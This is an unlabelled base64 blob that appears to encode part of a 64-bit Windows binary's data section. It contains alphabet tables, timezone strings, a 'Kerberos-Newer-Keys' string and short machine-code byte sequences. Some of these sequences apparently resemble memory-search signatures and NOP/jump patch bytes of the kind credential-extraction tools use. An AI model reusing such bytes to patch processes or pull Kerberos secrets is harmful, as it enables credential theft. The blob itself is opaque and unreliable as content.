AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAEAAAACAAAALyAAAAAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAADAAAAAgAAAD/////8MYIgAEAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyGIMgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIYgyAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMhiDIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyGIMgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIYgyAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwaAyAAQAAAAAAAAAAAAAAAAAAAAAAAABwyQiAAQAAAPDKCIABAAAAILkIgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgYQyAAQAAACBjDIABAAAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAIAACgoKAAAA8ssIgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAA+CUKgAEAAAB4fwaAAQAAAAAAAAAAAAAAECYKgAEAAAAGfwaAAQAAAAAAAAAAAAAAKCYKgAEAAACyfgaAAQAAAAAAAAAAAAAAQCYKgAEAAAAMfwaAAQAAAAAAAAAAAAAAWCYKgAEAAABqfgaAAQAAAAAAAAAAAAAAcCYKgAEAAAASfwaAAQAAAAAAAAAAAAAAiCYKgAEAAAByfwaAAQAAAAAAAAAAAAAAmCYKgAEAAADEfgaAAQAAAAAAAAAAAAAAsCYKgAEAAACsfgaAAQAAAAAAAAAAAAAAyCYKgAEAAABYfgaAAQAAAAAAAAAAAAAA2CYKgAEAAAAAAAAAAAAAAAAAAAAAAAAA6CYKgAEAAABIfwaAAQAAAAAAAAAAAAAA+CYKgAEAAACQfwaAAQAAAAAAAAAAAAAACCcKgAEAAACKfwaAAQAAAAAAAAAAAAAAICcKgAEAAAD6fgaAAQAAAAAAAAAAAAAAMCcKgAEAAADWfgaAAQAAAAAAAAAAAAAAQCcKgAEAAACifwaAAQAAAAAAAAAAAAAAUCcKgAEAAAAwfwaAAQAAAAAAAAAAAAAAYCcKgAEAAADifgaAAQAAAAAAAAAAAAAAcCcKgAEAAABOfwaAAQAAAAAAAAAAAAAAgCcKgAEAAACgfgaAAQAAAAAAAAAAAAAAkCcKgAEAAABafwaAAQAAAAAAAAAAAAAAoCcKgAEAAACmfgaAAQAAAAAAAAAAAAAAsCcKgAEAAABCfwaAAQAAAAAAAAAAAAAAwCcKgAEAAADufgaAAQAAAAAAAAAAAAAA0CcKgAEAAADofgaAAQAAAAAAAAAAAAAA4CcKgAEAAABUfwaAAQAAAAAAAAAAAAAA8CcKgAEAAAAAAAAAAAAAAAAAAAAAAAAAACgKgAEAAAAAAAAAAAAAAAAAAAAAAAAAECgKgAEAAABkfgaAAQAAAAAAAAAAAAAAICgKgAEAAAC+fgaAAQAAAAAAAAAAAAAAMCgKgAEAAABsfwaAAQAAAAAAAAAAAAAAQCgKgAEAAACIfgaAAQAAAAAAAAAAAAAAUCgKgAEAAAD0fgaAAQAAAAAAAAAAAAAAaCgKgAEAAACcfwaAAQAAAAAAAAAAAAAAgCgKgAEAAABAfgaAAQAAAAAAAAAAAAAAkCgKgAEAAADKfgaAAQAAAAAAAAAAAAAAoCgKgAEAAAB2fgaAAQAAAAAAAAAAAAAAsCgKgAEAAABSfgaAAQAAAAAAAAAAAAAAuCgKgAEAAACEfwaAAQAAAAAAAAAAAAAA0CgKgAEAAABgfwaAAQAAAAAAAAAAAAAA4CgKgAEAAADQfgaAAQAAAAAAAAAAAAAA8CgKgAEAAAB8fgaAAQAAAAAAAAAAAAAAACkKgAEAAACUfgaAAQAAAAAAAAAAAAAAGCkKgAEAAABGfgaAAQAAAAAAAAAAAAAAKCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAOCkKgAEAAACOfgaAAQAAAAAAAAAAAAAAUCkKgAEAAAAqfwaAAQAAAAAAAAAAAAAAaCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAgCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAoCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAuCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAAyCkKgAEAAAAAAAAAAAAAAAAAAAAAAAAA4CkKgAEAAAAAAAAAAAAAAAAAAAAAAAAA8CkKgAEAAAAAAAAAAAAAAAAAAAAAAAAACCoKgAEAAAC4fgaAAQAAAAAAAAAAAAAAICoKgAEAAAAYfwaAAQAAAAAAAAAAAAAAOCoKgAEAAAB+fwaAAQAAAAAAAAAAAAAASCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAaCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAiCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAmCoKgAEAAAAAAAAAAAAAAAAAAAAAAAAAsCoKgAEAAAAefwaAAQAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAEAAAD+//9/AAAAAIAAAAD0AQAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkAAADr68PrAAABIAAAAACIIwqAAQAAAAAAAAAAAAAA0NoAgAEAAAAAAAAAAAAAAJgjCoABAAAAAAAAAAAAAAAAAAEgAAAAAKgjCoABAAAAAAAAAAAAAADQ2gCAAQAAAAAAAAAAAAAAuCMKgAEAAAAAAAAAAAAAAAAAASAAAAAAyCMKgAEAAAAAAAAAAAAAANDaAIABAAAAAAAAAAAAAADgIwqAAQAAAAAAAAAAAAAAAQIAAAcAAAAAAgAABwAAAAgCAAAHAAAABgIAAAcAAAAHAgAABwAAAAMAAABgAAAA/v8AAAAAAAAAAAAAAAAAACgtCoABAAAAAAAAAAAAAADcIwGAAQAAACgnAYABAAAASCgBgAEAAACYKQGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhCwBgAEAAABILQGAAQAAANQtAYABAAAADC4BgAEAAAB8LQGAAQAAAFQKAYABAAAAFAsBgAEAAABoCwGAAQAAAAwBQAAAdevrAQABDAAAAAAAAAAAAAAAAAAAAAAAAAAAVE8DgAEAAAAAAAAAAAAAAHg8CoABAAAAAAAAAAAAAAACAAEMAAAAAAAAAAAAAAAAAAAAAAAAAABUTwOAAQAAAAAAAAAAAAAAiDwKgAEAAAAAAAAAAAAAAAEAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAFRPA4ABAAAAAAAAAAAAAACUPAqAAQAAAAAAAAAAAAAAAQABCAAAAAABAAAAAAAAAAAAAAAAAAAA3FcDgAEAAAAAAAAAAAAAAJw8CoABAAAAAAAAAAAAAAACAAEIAAAAAAEAAAAAAAAAAAAAAAAAAADcVwOAAQAAAAAAAAAAAAAAnDwKgAEAAAAAAAAAAAAAAAEAAQgAAAAAAgAAAAAAAAAAAAAAAAAAANxXA4ABAAAAAAAAAAAAAACkPAqAAQAAAAAAAAAAAAAAAgABCAAAAAACAAAAAAAAAAAAAAAAAAAA3FcDgAEAAAAAAAAAAAAAAKQ8CoABAAAAAAAAAAAAAAABAAEIAAAAAAMAAAAAAAAAAAAAAAAAAADcVwOAAQAAAAAAAAAAAAAArDwKgAEAAAAAAAAAAAAAAAIAAQgAAAAAAwAAAAAAAAAAAAAAAAAAANxXA4ABAAAAAAAAAAAAAACsPAqAAQAAAAAAAAAAAAAA/wAhCAAAAAAAAAAAAAAAAAAAAAAAAAAAID8DgAEAAAAAAAAAAAAAALQ8CoABAAAAAAAAAAAAAAAAACEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtDwKgAEAAAAAAAAAAAAAAAEAIRAAAAAAAAAAAAAAAAAAAAAAAAAAAABdA4ABAAAA6F0DgAEAAAC0PAqAAQAAAAAAAAAAAAAA/wAhCAAAAAABAAAAAAAAAAAAAAAAAAAAID8DgAEAAAAAAAAAAAAAALg8CoABAAAAAAAAAAAAAAAAACEIAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuDwKgAEAAAAAAAAAAAAAAAEAIRAAAAAAAQAAAAAAAAAAAAAAAAAAAABdA4ABAAAA6F0DgAEAAAC4PAqAAQAAAAAAAAAAAAAAAQCBCAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADgAEAAAAAAAAAAAAAALw8CoABAAAAAAAAAAAAAAABAEEIAAAAAAAAAAAAAAAAAAAAAAAAAACMQAOAAQAAAAAAAAAAAAAAxDwKgAEAAAAAAAAAAAAAAAIAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAExCA4ABAAAAAAAAAAAAAADMPAqAAQAAAAAAAAAAAAAA/wABCAAAAAAAAAAAAAAAAAAAAAAAAAAAgEMDgAEAAAAAAAAAAAAAANQ8CoABAAAAAAAAAAAAAAABAAEIAAAAAAAAAAAAAAAAAAAAAAAAAACIUgOAAQAAAAAAAAAAAAAA4DwKgAEAAAAAAAAAAAAAAP8AAQgAAAAAAAAAAAAAAAAAAAAAAAAAAOhSA4ABAAAAAAAAAAAAAADoPAqAAQAAAAAAAAAAAAAAAQABCAAAAAAAAAAAAAAAAAAAAAAAAAAAXEEDgAEAAAAAAAAAAAAAAPA8CoABAAAAAAAAAAAAAAABAAEIAAAAAAAAAAAAAAAAAAAAAAAAAADQRgOAAQAAAAAAAAAAAAAA9DwKgAEAAAAAAAAAAAAAAAEAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAIRHA4ABAAAAAAAAAAAAAAD8PAqAAQAAAAAAAAAAAAAAAQABCAAAAAAAAAAAAAAAAAAAAAAAAAAARFQDgAEAAAAAAAAAAAAAAAQ9CoABAAAAAAAAAAAAAAACAAEKAAAAAAAAAAAAAAAAAAAAAAAAAABUTwOAAQAAAAAAAAAAAAAACD0KgAEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAADBIA4ABAAAAAAAAAAAAAAAQPQqAAQAAAAAAAAAAAAAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAkEgDgAEAAAAAAAAAAAAAABg9CoABAAAAAAAAAAAAAAACACEIAAAAAAAAAAAAAAAAAAAAAAAAAAAETwOAAQAAAAAAAAAAAAAAJD0KgAEAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAFRPA4ABAAAAAAAAAAAAAAAwPQqAAQAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAjE8DgAEAAAAAAAAAAAAAAEA9CoABAAAAAAAAAAAAAAACAAEIAAAAAAAAAAAAAAAAAAAAAAAAAADETwOAAQAAAAAAAAAAAAAAWD0KgAEAAAAAAAAAAAAAAAEAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAABQA4ABAAAAAAAAAAAAAABkPQqAAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEkDgAEAAAAAAAAAAAAAAHA9CoABAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAABASQOAAQAAAAAAAAAAAAAAiD0KgAEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAHBJA4ABAAAAAAAAAAAAAACQPQqAAQAAAAAAAAAAAAAAAwABCAAAAAAAAAAAAAAAAAAAAAAAAAAAeFUDgAEAAAAAAAAAAAAAAKA9CoABAAAAAAAAAAAAAAABAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAVQOAAQAAAAAAAAAAAAAAqD0KgAEAAAAAAAAAAAAAAAIAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAFxEA4ABAAAAAAAAAAAAAAC0PQqAAQAAAAAAAAAAAAAAAwABCAAAAAAAAAAAAAAAAAAAAAAAAAAAXEQDgAEAAAAAAAAAAAAAALQ9CoABAAAAAAAAAAAAAAABAAEAAAAAAAAAAAAAAAAAAAAAAAAAAABoWgOAAQAAADBbA4ABAAAAvD0KgAEAAAAAAAAAAAAAAAEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAGhaA4ABAAAAQFwDgAEAAADAPQqAAQAAAAAAAAAAAAAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAaFoDgAEAAADUWwOAAQAAAMg9CoABAAAAAAAAAAAAAAAAAAEBAAAAAAAAAAAAAAAAAAAAAAAAAACgXAOAAQAAAEBcA4ABAAAAzD0KgAEAAAAAAAAAAAAAAAEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKBcA4ABAAAAQFwDgAEAAADMPQqAAQAAAAAAAAAAAAAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAXF4DgAEAAABIXwOAAQAAANg9CoABAAAAAAAAAAAAAAACAAEAAAAAAAAAAAAAAAAAAAAAAAAAAABcXgOAAQAAAEhfA4ABAAAA2D0KgAEAAAAAAAAAAAAAAAIADQgAAAAAyEkJgAEAAAAAAAAAAAAAAKhNA4ABAAAAAAAAAAAAAABsPAqAAQAAAAAAAAAAAAAAAgAFCAAAAABIMgmAAQAAAAAAAAAAAAAAqE0DgAEAAAAAAAAAAAAAAGQ8CoABAAAAAAAAAAAAAAADAAUIAAAAAEgyCYABAAAAAAAAAAAAAACoTQOAAQAAAAAAAAAAAAAAZDwKgAEAAAAAAAAAAAAAAAEAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADoPQqAAQAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOg9CoABAAAAAAAAAAAAAAD/AAEKAAAAAAAAAAAAAAAAAAAAAAAAAABUTwOAAQAAAAAAAAAAAAAA6D0KgAEAAAAAAAAAAAAAAIiCDIABAAAAiIIMgAEAAACYggyAAQAAAJiCDIABAAAAqIIMgAEAAACoggyAAQAAAAgACQAAAAAAOH8KgAEAAAAMAUAAAA+FAJCQkJCQkAAAkOkAAAAAAAAoCgAAAAAAAAMAAAAAAAAA2IMMgAEAAAAAAAAAAAAAAAAAAAAAAAAA+////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAXAAAAAAAABAAAAAAAAADkgwyAAQAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8CMAAAAAAAAHAAAAAAAAANCDDIABAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAEAAAA+FAAwOcgD2RiQCD4QAAAwOD4L2QygCD4UAAJDpAAD2QyQCdQAAAPZGJAJ1AAAA9kMoAnUAAAAAAAAAcBcAAAAAAAAGAAAAAAAAAOiDDIABAAAAAgAAAAAAAADYggyAAQAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwHQAAAAAAAAUAAAAAAAAABIQMgAEAAAABAAAAAAAAAGx1DIABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAjAAAAAAAABQAAAAAAAAD0gwyAAQAAAAEAAAAAAAAAbHUMgAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgCUAAAAAAAAFAAAAAAAAAPyDDIABAAAAAQAAAAAAAABsdQyAAQAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5OAAAAAAAAAYAAAAAAAAA3IMMgAEAAAAGAAAAAAAAANCCDIABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgKAAAAAAAABgAAAAAAAADodgyAAQAAAAEAAAAAAAAAbXUMgAEAAAD8////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcBcAAAAAAAAHAAAAAAAAAMiCDIABAAAAAgAAAAAAAADwgwyAAQAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFM+3D6wQAAEiLxFdIg+xQSMdAyP7///9IiVgISY1BIEiJXCQIV0iD7CBIi/lIi8pIi9rokJAAAEBXSIPsQEjHRCQg/v///0iJXCRQSIvaSIv5SIvK6AAA//dIg+xQSMdEJCD+////SIlcJGBIi9pIi/lIi8roAABJiVsQSYlzGCgKAAAAAAAACAAAAAAAAAC4hgyAAQAAAAQAAAAAAAAAQIYMgAEAAAD2////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcBcAAAAAAAAUAAAAAAAAAGCGDIABAAAAAQAAAAAAAABudQyAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwHQAAAAAAAB4AAAAAAAAAmIYMgAEAAAABAAAAAAAAAG51DIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAFAAAAAAAAABIhgyAAQAAAAEAAAAAAAAAbnUMgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOTgAAAAAAAAeAAAAAAAAAHiGDIABAAAAAQAAAAAAAABudQyAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AwAAwOkAABAAEgAAAAAAuHEJgAEAAACQkAAAAAAAAM4OAAAAAAAABgAAAAAAAABQiAyAAQAAAAEAAAAAAAAAb3UMgAEAAAD1////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgA4AAAAAAAIeAmAAQAAACIAJAAAAAAAGHIJgAEAAAAgACIAAAAAAMhzCYABAAAAzg4AAAAAAAAEAAAAAAAAAFyGDIABAAAAAgAAAAAAAAB0hgyAAQAAAO////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwFwAAAAAAAAQAAAAAAAAAXIYMgAEAAAACAAAAAAAAAESGDIABAAAA6////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAlAAAAAAAABAAAAAAAAABchgyAAQAAAAIAAAAAAAAARIYMgAEAAADo////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMgA0AAAAAAB4eQmAAQAAAB4AIAAAAAAAsH4JgAEAAAAMAA4AAAAAAPh/CYABAAAASIPsIEmL2UmL+IvxSAAAAFdIg+wgSYvZSYv4i/FIAABJi9BNi8HrCJCQkJCQkJCQiUwkCJDpAABLAGUAcgBiAGUAcgBvAHMALQBOAGUAdwBlAHIALQBLAGUAeQBzAAAAKAoAAAAAAAAFAAAAAAAAAMCKDIABAAAAAgAAAAAAAABoiAyAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAHU6aAAAAP8lAAAAAAAAuAsAAAAAAAAUAAAAAAAAADCKDIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIEwAAAAAAAA4AAAAAAAAAIIoMgAEAAAAAAAAAAAAAAAAAAAAAAAAA8f///w8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAfAAAAAAAADQAAAAAAAAAQigyAAQAAAAAAAAAAAAAAAAAAAAAAAADv////DwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASIHs4AAAADPbM8AAAAAAALAdAAAAAAAACwAAAAAAAADAiwyAAQAAAAAAAAAAAAAAAAAAAAAAAADm////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8CMAAAAAAAAQAAAAAAAAANCMDIABAAAAAAAAAAAAAAAAAAAAAAAAAOv///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAA4AAAAAAAAAwIwMgAEAAAAAAAAAAAAAAAAAAAAAAAAA6////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNbCT5SIHs4AAAADP2AABIjWwk+UiB7NAAAAAz2zPARI1wAUWJNCQ5BQAAkJAAAA+3jCS4AAAASIv4SImEJIgAAABBvgEAAABEiTMz2zkAzg4AAAAAAAASAA